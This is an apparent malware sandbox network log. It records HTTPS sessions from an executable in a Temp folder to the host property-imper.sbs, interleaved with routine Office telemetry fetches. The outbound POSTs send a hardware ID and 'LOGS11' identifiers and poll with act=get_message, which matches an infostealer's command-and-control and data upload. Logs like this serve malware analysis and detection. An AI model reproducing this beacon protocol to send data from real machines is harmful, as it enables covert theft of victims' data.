2024-11-23 02:21:53 UTC	15331	OUT	Data Raw: 2d 2d 37 31 48 56 4f 46 35 54 34 42 5a 50 4c 59 36 45 43 31 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 41 38 32 42 38 38 44 45 43 38 37 37 34 32 44 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 37 31 48 56 4f 46 35 54 34 42 5a 50 4c 59 36 45 43 31 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 37 31 48 56 4f 46 35 54 34 42 5a 50 4c 59 36 45 43 31 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --71HVOF5T4BZPLY6EC1UContent-Disposition: form-data; name="hwid"6A82B88DEC87742DD7CBBD6DF28D3732--71HVOF5T4BZPLY6EC1UContent-Disposition: form-data; name="pid"3--71HVOF5T4BZPLY6EC1UContent-Disposition: form-data; name="lid"LOGS11--Li
2024-11-23 02:21:53 UTC	5118	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~
2024-11-23 02:21:54 UTC	1018	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mpaq9r0pho7ij5kqdg628lf6lm; expires=Tue, 18-Mar-2025 20:08:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VQ5F8ltItGPoxo9q5psMs4vwEgCQEo1d5kqPBhvJQw4K2F10qKhivfdoz5s%2FZVyMWmimV98qiRCzDwD9vI6C4U%2BQTkSHBp61BHEJT9gFd2R%2FTiSouTRAJ0mkEBGEY8lcq3Hk6mc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6db03919bf1795-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1532&sent=18&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21414&delivery_rate=1929940&cwnd=181&unsent_bytes=0&cid=6e28064cb5683f69&ts=1005&x=0"
2024-11-23 02:21:54 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 02:21:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	49887	172.67.162.84	443	7528	C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:53 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: property-imper.sbs
2024-11-23 02:21:53 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-23 02:21:54 UTC	1011	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3guoupric745m5bb4qavnl15ar; expires=Tue, 18-Mar-2025 20:08:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pH5ef1UqWa05EHFapgVnahJZRr2IZ8PTrRaTrjxrAn48vNOixUFeX5qKxKjQGmXZo%2FbD7hD5PuYBHm2V6C5vFtpPkwP5ESXdDdaCpHrSGf%2BWra3JY9P2Y8evo86nZfPoK7ZZwEM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6db03b5be60f4f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1667&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=955&delivery_rate=1723730&cwnd=252&unsent_bytes=0&cid=89fbb17114a0eaae&ts=758&x=0"
2024-11-23 02:21:54 UTC	358	IN	Data Raw: 34 34 36 63 0d 0a 67 38 2b 34 79 79 31 53 38 65 4a 61 2b 67 6e 4e 42 4c 52 43 71 4f 34 38 36 4c 6f 4f 2b 51 49 49 6d 4f 55 6a 36 44 37 42 34 35 50 34 37 63 37 70 46 32 62 64 77 43 6d 66 4b 2f 64 77 78 6a 66 4e 77 68 36 4a 33 69 7a 44 5a 47 6e 30 6c 6b 62 45 48 4c 65 4f 73 62 6d 70 32 61 64 65 4e 39 33 41 50 34 49 72 39 31 2f 50 59 4d 32 41 48 74 4b 59 61 35 4e 67 61 66 53 48 51 6f 4e 52 73 59 2f 77 36 36 50 66 6f 30 67 78 6c 59 4d 32 6c 32 79 6f 59 64 55 6f 78 6f 64 52 67 4e 63 73 31 53 42 74 34 73 63 5a 79 6e 4f 6b 6c 2f 4c 4f 72 73 75 67 44 79 2f 64 6d 58 69 66 5a 2b 38 2b 6c 69 50 4e 6a 46 43 4f 33 6d 57 52 61 6d 44 38 68 6b 65 43 54 71 69 46 2b 2b 75 74 33 4b 4a 43 4f 49 47 4f 50 4a 42 6e 72 6d 76 56 59 49 54 4d 57 5a 4b 59 4e 4e 73 7a 57 50 6d 57 55 Data Ascii: 446cg8+4yy1S8eJa+gnNBLRCqO486LoO+QIImOUj6D7B45P47c7pF2bdwCmfK/dwxjfNwh6J3izDZGn0lkbEHLeOsbmp2adeN93AP4Ir91/PYM2AHtKYa5NgafSHQoNRsY/w66Pfo0gxlYM2l2yoYdUoxodRgNcs1SBt4scZynOkl/LOrsugDy/dmXifZ+8+liPNjFCO3mWRamD8hkeCTqiF++ut3KJCOIGOPJBnrmvVYITMWZKYNNszWPmWU
2024-11-23 02:21:54 UTC	1369	IN	Data Raw: 4d 4a 4e 67 71 6e 54 64 4b 63 65 42 58 6f 66 53 59 35 68 67 62 66 43 4e 54 6f 42 59 72 6f 7a 33 34 61 32 61 35 77 38 33 69 38 42 67 32 45 69 71 64 74 45 73 33 4d 35 6b 79 73 63 69 67 69 42 74 39 73 63 5a 79 6c 53 6d 67 76 4c 71 6f 74 6d 68 52 43 4b 54 6b 6a 36 56 62 72 31 67 30 79 37 41 6a 30 79 41 31 6d 71 59 61 57 48 7a 67 6b 61 4f 48 4f 33 42 39 76 6e 74 67 75 6c 75 50 5a 69 4d 4d 6f 39 72 37 33 6d 59 4f 59 71 4c 55 73 71 41 4c 4a 39 68 62 76 75 44 54 34 52 59 72 34 66 2f 37 4b 4c 63 6f 30 38 33 6d 59 67 77 6d 57 61 6b 61 64 59 6c 78 34 68 59 68 74 6c 70 32 79 34 71 2f 5a 38 42 30 68 79 4e 68 76 4c 7a 37 2b 2b 71 51 54 36 55 6c 6e 69 48 4a 62 59 6d 30 53 79 4b 31 42 36 45 33 57 4f 4a 59 58 6a 2f 69 56 4f 47 57 61 57 4d 38 75 2b 74 33 36 35 43 50 70 57 Data Ascii: MJNgqnTdKceBXofSY5hgbfCNToBYroz34a2a5w83i8Bg2EiqdtEs3M5kyscigiBt9scZylSmgvLqotmhRCKTkj6Vbr1g0y7Aj0yA1mqYaWHzgkaOHO3B9vntguluPZiMMo9r73mYOYqLUsqALJ9hbvuDT4RYr4f/7KLco083mYgwmWakadYlx4hYhtlp2y4q/Z8B0hyNhvLz7++qQT6UlniHJbYm0SyK1B6E3WOJYXj/iVOGWaWM8u+t365CPpW
2024-11-23 02:21:54 UTC	1369	IN	Data Raw: 62 59 6d 30 53 79 4b 31 42 36 47 30 57 79 51 61 6d 37 36 67 45 79 50 58 36 53 43 2f 4f 61 6e 31 4b 35 4c 50 4a 71 4e 50 70 68 73 71 32 50 45 4a 63 4f 41 55 73 71 57 4c 4a 78 34 4b 71 4c 48 62 6f 31 4b 6f 4b 37 79 38 4b 53 61 74 67 45 70 30 34 63 30 32 44 50 76 59 64 4d 6f 77 59 70 57 69 73 70 70 6c 57 74 72 38 49 46 41 68 31 43 6c 67 66 44 68 71 39 61 70 53 44 65 42 6b 6a 32 65 65 61 55 6d 6d 47 44 4e 6c 42 37 53 6d 46 71 4c 64 33 76 73 78 58 53 4a 55 71 32 47 35 36 47 79 6c 4c 41 50 4e 35 2f 41 59 4e 68 67 72 32 72 52 4b 4d 79 49 56 6f 58 58 5a 59 6c 68 5a 76 53 56 52 6f 70 56 72 59 37 39 36 4b 44 64 70 45 51 36 6e 6f 51 2f 6d 53 76 68 4a 74 45 34 69 74 51 65 76 4d 68 68 6c 30 35 68 39 6f 34 42 6c 52 4b 36 77 66 62 74 37 59 4c 70 53 7a 79 62 69 6a 65 52 Data Ascii: bYm0SyK1B6G0WyQam76gEyPX6SC/Oan1K5LPJqNPphsq2PEJcOAUsqWLJx4KqLHbo1KoK7y8KSatgEp04c02DPvYdMowYpWispplWtr8IFAh1ClgfDhq9apSDeBkj2eeaUmmGDNlB7SmFqLd3vsxXSJUq2G56GylLAPN5/AYNhgr2rRKMyIVoXXZYlhZvSVRopVrY796KDdpEQ6noQ/mSvhJtE4itQevMhhl05h9o4BlRK6wfbt7YLpSzybijeR
2024-11-23 02:21:54 UTC	1369	IN	Data Raw: 45 6b 7a 49 4d 65 78 4a 68 72 67 79 41 79 75 71 68 6d 76 78 36 43 75 37 48 2b 34 38 50 70 53 44 7a 54 32 48 69 55 61 4b 4e 75 32 53 62 44 67 46 53 44 30 32 43 51 5a 47 62 7a 67 6b 65 4c 57 61 61 41 39 65 32 6e 33 4b 70 4d 50 35 79 50 4d 4e 67 6c 37 32 48 4f 59 4a 4c 4d 65 35 33 54 59 70 30 67 64 62 53 65 41 59 31 51 34 39 6d 78 37 61 54 63 72 30 6f 38 6b 6f 59 77 6e 57 4f 72 5a 39 41 6d 79 59 4e 61 6a 39 6c 6a 6e 32 78 6b 38 49 5a 41 68 6c 65 73 69 76 53 68 34 35 71 75 56 33 44 4c 77 41 6d 62 66 62 68 32 32 6d 44 56 77 6b 66 4b 33 32 44 62 4f 43 72 37 6c 55 75 41 55 71 61 4f 39 4f 4b 69 33 61 52 4a 50 4a 6d 4a 4d 4a 35 6b 70 6e 54 56 4c 4d 53 4c 55 49 62 57 59 5a 46 6a 5a 37 72 4a 41 59 31 45 34 39 6d 78 7a 61 72 58 68 30 51 38 6c 4d 41 6e 31 6e 4c 76 59 Data Ascii: EkzIMexJhrgyAyuqhmvx6Cu7H+48PpSDzT2HiUaKNu2SbDgFSD02CQZGbzgkeLWaaA9e2n3KpMP5yPMNgl72HOYJLMe53TYp0gdbSeAY1Q49mx7aTcr0o8koYwnWOrZ9AmyYNaj9ljn2xk8IZAhlesivSh45quV3DLwAmbfbh22mDVwkfK32DbOCr7lUuAUqaO9OKi3aRJPJmJMJ5kpnTVLMSLUIbWYZFjZ7rJAY1E49mxzarXh0Q8lMAn1nLvY
2024-11-23 02:21:54 UTC	1369	IN	Data Raw: 4d 42 73 72 75 61 34 74 77 61 62 69 32 56 34 6c 4b 71 49 7a 39 6f 62 4b 55 73 41 38 33 6e 38 42 67 32 47 32 67 62 39 55 76 79 34 56 53 68 39 31 6c 6e 6d 46 73 2f 6f 31 4c 69 6c 71 6c 67 50 54 72 72 74 75 6a 52 6a 65 62 68 7a 75 4b 4b 2b 45 6d 30 54 69 4b 31 42 36 6a 33 33 36 56 63 43 72 6c 79 56 6a 4b 57 36 2f 42 71 61 47 70 30 4b 5a 4c 4e 35 2b 47 50 5a 35 6d 72 6d 6e 58 49 4d 57 49 56 59 50 65 62 5a 5a 6c 5a 2f 36 56 53 34 46 54 72 34 6a 39 37 4f 32 55 36 55 67 6f 30 39 68 34 71 57 61 68 61 4e 45 32 69 70 4d 51 6b 35 68 72 6c 79 41 79 75 6f 5a 4e 68 56 2b 73 67 76 4c 67 70 38 69 37 51 7a 6d 62 68 54 53 54 5a 61 6c 30 30 43 2f 44 6a 31 32 44 33 32 53 58 61 6d 6e 39 78 77 2f 4b 57 37 76 42 71 61 47 4f 7a 62 6c 43 63 49 7a 4f 49 64 68 73 6f 79 61 4f 59 4d Data Ascii: MBsrua4twabi2V4lKqIz9obKUsA83n8Bg2G2gb9Uvy4VSh91lnmFs/o1LilqlgPTrrtujRjebhzuKK+Em0TiK1B6j336VcCrlyVjKW6/BqaGp0KZLN5+GPZ5mrmnXIMWIVYPebZZlZ/6VS4FTr4j97O2U6Ugo09h4qWahaNE2ipMQk5hrlyAyuoZNhV+sgvLgp8i7QzmbhTSTZal00C/Dj12D32SXamn9xw/KW7vBqaGOzblCcIzOIdhsoyaOYM
2024-11-23 02:21:54 UTC	1369	IN	Data Raw: 31 32 4f 53 61 57 37 79 68 45 47 4f 57 4b 53 45 38 75 32 6d 33 61 70 41 4e 4a 71 4f 4d 5a 63 72 34 53 62 52 4f 49 72 55 48 71 76 44 62 35 64 74 4b 75 58 4a 57 4d 70 62 72 38 47 70 6f 61 48 55 72 45 38 36 6c 59 51 39 6e 6d 47 71 5a 74 30 6a 78 59 68 59 6a 74 64 73 6b 47 6c 72 2f 49 4a 4c 67 56 71 75 67 76 66 6e 37 5a 54 70 53 43 6a 54 32 48 69 34 63 4b 4a 71 30 57 44 56 77 6b 66 4b 33 32 44 62 4f 43 72 78 69 30 57 4e 58 4b 36 43 2b 65 53 70 30 4b 78 50 4f 49 47 49 4f 4a 39 35 76 57 62 66 4a 63 61 50 58 6f 37 65 5a 5a 31 6a 62 72 72 4a 41 59 31 45 34 39 6d 78 7a 4b 48 64 67 45 67 72 30 35 39 32 67 53 75 6f 61 70 5a 34 69 6f 31 56 67 4e 64 68 6d 47 5a 70 38 59 4a 4c 69 31 75 72 6a 4f 50 69 6f 74 57 74 54 7a 2b 56 68 6a 6d 58 62 61 68 76 31 79 6a 4e 7a 42 44 Data Ascii: 12OSaW7yhEGOWKSE8u2m3apANJqOMZcr4SbROIrUHqvDb5dtKuXJWMpbr8GpoaHUrE86lYQ9nmGqZt0jxYhYjtdskGlr/IJLgVqugvfn7ZTpSCjT2Hi4cKJq0WDVwkfK32DbOCrxi0WNXK6C+eSp0KxPOIGIOJ95vWbfJcaPXo7eZZ1jbrrJAY1E49mxzKHdgEgr0592gSuoapZ4io1VgNdhmGZp8YJLi1urjOPiotWtTz+VhjmXbahv1yjNzBD
2024-11-23 02:21:54 UTC	1369	IN	Data Raw: 57 70 74 36 6f 42 57 68 52 7a 74 77 66 36 68 39 65 50 70 52 6a 65 49 6b 53 36 56 65 36 67 6d 36 57 36 4b 6c 42 37 53 6d 46 6d 59 62 6d 54 39 6b 56 44 48 65 37 57 4c 39 76 47 71 7a 61 59 50 66 74 4f 47 65 4d 41 34 34 53 62 53 4d 59 72 55 44 74 69 44 4f 63 67 33 4f 71 69 59 44 35 4d 63 74 63 47 70 73 2b 4f 61 75 77 39 6f 30 38 63 37 69 6e 6d 70 5a 63 41 6a 6a 62 4a 67 72 63 4a 68 6e 58 64 37 78 4c 6c 47 6b 46 47 6c 6c 75 43 74 75 4e 6d 6e 51 54 65 46 77 48 62 59 5a 4f 38 2b 37 32 43 43 7a 47 48 45 6d 48 54 62 4f 43 72 50 68 45 2b 45 57 37 57 51 76 4d 61 33 31 36 39 59 49 64 50 4f 65 4a 34 72 39 7a 61 59 59 4d 36 64 48 74 4b 49 50 73 41 31 4f 61 33 58 45 35 55 53 75 73 48 6e 6f 66 57 49 35 77 38 69 30 39 68 34 33 32 69 39 64 4e 41 6a 33 49 38 5a 74 4f 5a 43 Data Ascii: Wpt6oBWhRztwf6h9ePpRjeIkS6Ve6gm6W6KlB7SmFmYbmT9kVDHe7WL9vGqzaYPftOGeMA44SbSMYrUDtiDOcg3OqiYD5MctcGps+Oauw9o08c7inmpZcAjjbJgrcJhnXd7xLlGkFGlluCtuNmnQTeFwHbYZO8+72CCzGHEmHTbOCrPhE+EW7WQvMa3169YIdPOeJ4r9zaYYM6dHtKIPsA1Oa3XE5USusHnofWI5w8i09h432i9dNAj3I8ZtOZC
2024-11-23 02:21:54 UTC	1369	IN	Data Raw: 6d 4a 54 34 31 4b 73 73 7a 57 37 36 72 62 76 31 38 6e 6e 4d 42 32 32 47 33 76 50 6f 52 75 69 6f 68 50 79 6f 41 38 79 54 73 2f 71 64 41 52 32 45 50 74 6d 4c 48 33 37 59 4c 37 41 58 43 42 77 47 44 59 4c 4b 78 30 78 43 62 4a 6d 6c 33 4e 35 6c 4b 38 62 6d 33 37 6b 56 47 64 55 2b 79 76 78 38 43 54 35 4c 78 4d 50 70 32 48 4c 6f 6b 72 34 53 62 5a 59 4a 4b 31 48 73 4b 59 55 39 55 67 63 72 72 66 41 62 39 66 72 59 2f 32 39 37 79 58 6a 6b 45 33 6b 70 59 6f 6a 32 54 67 53 4f 41 42 69 73 49 65 6a 4a 67 30 79 53 34 71 2f 70 59 42 30 67 7a 78 32 71 53 79 2b 6f 72 37 55 48 36 4b 77 43 37 59 4d 2f 30 6f 6c 6a 4b 4b 31 42 37 4e 32 33 36 4a 5a 6d 6e 73 68 41 61 30 59 6f 53 50 39 75 43 37 79 71 52 44 45 5a 43 52 4d 71 5a 56 75 6d 58 59 4c 73 32 61 54 38 71 57 4c 4a 51 67 4d Data Ascii: mJT41KsszW76rbv18nnMB22G3vPoRuiohPyoA8yTs/qdAR2EPtmLH37YL7AXCBwGDYLKx0xCbJml3N5lK8bm37kVGdU+yvx8CT5LxMPp2HLokr4SbZYJK1HsKYU9UgcrrfAb9frY/297yXjkE3kpYoj2TgSOABisIejJg0yS4q/pYB0gzx2qSy+or7UH6KwC7YM/0oljKK1B7N236JZmnshAa0YoSP9uC7yqRDEZCRMqZVumXYLs2aT8qWLJQgM
2024-11-23 02:21:54 UTC	1369	IN	Data Raw: 4a 54 4b 53 2f 7a 38 79 2f 33 62 6c 4d 63 72 2b 48 4e 5a 52 56 6b 56 48 48 4a 39 72 4f 65 49 6e 4f 62 39 73 75 4b 75 4c 48 47 63 70 78 73 59 62 68 34 75 2f 32 72 6b 49 38 30 35 39 32 67 53 75 35 4a 6f 35 7a 68 4d 78 4d 79 6f 41 73 33 47 4e 34 36 49 46 43 6e 46 2f 6b 76 38 2f 4d 76 39 32 35 54 48 4b 69 6a 54 79 4f 66 71 78 32 30 52 37 30 6f 55 79 4e 79 47 2f 5a 52 56 43 34 74 6c 65 4a 58 4b 32 47 73 61 2f 74 77 75 6b 58 63 4c 36 53 50 34 68 6f 37 55 50 73 59 76 75 61 58 59 72 57 61 39 74 2f 4a 4f 50 48 56 38 6f 45 38 4d 2b 78 38 2b 32 43 36 51 67 2b 6e 6f 45 37 6c 6d 69 39 64 4e 41 6a 33 49 38 5a 74 4f 5a 44 6b 47 46 36 39 35 5a 4d 6a 6b 71 64 76 39 62 6e 71 4e 32 58 63 51 65 43 68 79 6a 61 54 61 78 77 31 57 43 45 7a 45 62 4b 67 43 79 38 5a 6d 2f 39 78 77 Data Ascii: JTKS/z8y/3blMcr+HNZRVkVHHJ9rOeInOb9suKuLHGcpxsYbh4u/2rkI80592gSu5Jo5zhMxMyoAs3GN46IFCnF/kv8/Mv925THKijTyOfqx20R70oUyNyG/ZRVC4tleJXK2Gsa/twukXcL6SP4ho7UPsYvuaXYrWa9t/JOPHV8oE8M+x8+2C6Qg+noE7lmi9dNAj3I8ZtOZDkGF695ZMjkqdv9bnqN2XcQeChyjaTaxw1WCEzEbKgCy8Zm/9xw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	49888	172.67.162.84	443	8096	C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:53 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: property-imper.sbs
2024-11-23 02:21:53 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 36 41 38 32 42 38 38 44 45 43 38 37 37 34 32 44 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=6A82B88DEC87742DD7CBBD6DF28D3732
2024-11-23 02:21:54 UTC	1015	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=urn6jo3s8t52101667q16sa5nj; expires=Tue, 18-Mar-2025 20:08:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ncj2w2vGocu%2Bjn2LLiB7PSW5GksIdvax6kGz%2BTtvr66WLjBso8uuXTZV3gYr8LLeHBtFA6dHHxVD3%2FQYlZBhL2cG%2FQtvDxsU2tGs0Rljsi3umfaF2qeA7v5MOIqDOuteiecz4gg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6db03bcdf832fc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1838&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=990&delivery_rate=1561497&cwnd=224&unsent_bytes=0&cid=f4aa8e8e4ceb9e46&ts=750&x=0"
2024-11-23 02:21:54 UTC	295	IN	Data Raw: 31 32 30 0d 0a 66 2b 38 7a 4f 2f 30 38 37 6d 4e 6d 70 45 47 50 6e 33 4f 31 47 6d 30 62 6d 6d 4c 34 6f 75 72 69 38 63 6c 65 70 37 33 5a 79 49 38 6b 6c 42 46 4f 33 77 62 4d 43 78 4c 51 4d 62 58 44 58 4f 6b 31 58 43 4f 76 54 4d 71 54 33 38 7a 41 2b 47 32 4a 6a 4f 2b 55 6f 42 43 4a 56 57 66 53 57 49 73 46 53 4d 45 35 36 72 31 66 6c 33 77 5a 4f 61 42 53 31 49 43 50 77 4d 76 34 49 34 76 47 2b 37 32 74 52 63 31 62 54 34 6c 4d 31 44 39 4a 2b 47 36 2b 70 30 61 62 4b 46 77 75 74 46 50 4a 6b 63 54 54 78 35 56 78 31 4d 6d 38 71 65 49 6a 77 45 46 61 6b 31 69 42 44 6b 6a 42 4f 65 71 39 58 35 64 38 47 54 6d 67 55 74 53 41 6a 38 44 4c 2b 53 4f 4c 78 76 75 39 72 55 58 4e 57 30 2b 4a 54 4e 51 2f 53 66 68 75 76 4b 35 64 67 53 74 44 4b 61 35 57 31 70 50 62 76 74 36 76 4e 38 Data Ascii: 120f+8zO/087mNmpEGPn3O1Gm0bmmL4ouri8clep73ZyI8klBFO3wbMCxLQMbXDXOk1XCOvTMqT38zA+G2JjO+UoBCJVWfSWIsFSME56r1fl3wZOaBS1ICPwMv4I4vG+72tRc1bT4lM1D9J+G6+p0abKFwutFPJkcTTx5Vx1Mm8qeIjwEFak1iBDkjBOeq9X5d8GTmgUtSAj8DL+SOLxvu9rUXNW0+JTNQ/SfhuvK5dgStDKa5W1pPbvt6vN8
2024-11-23 02:21:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:54 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:54 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 18ec886b-801e-0078-7044-3cbac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022154Z-15b8b599d88f9wfchC1TEBm2kc00000002fg000000004kxg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:54 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:54 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:54 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 25bf86e9-c01e-007a-2c4f-3cb877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022154Z-15b8b599d886w4hzhC1TEBb4ug00000002eg000000001a5f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
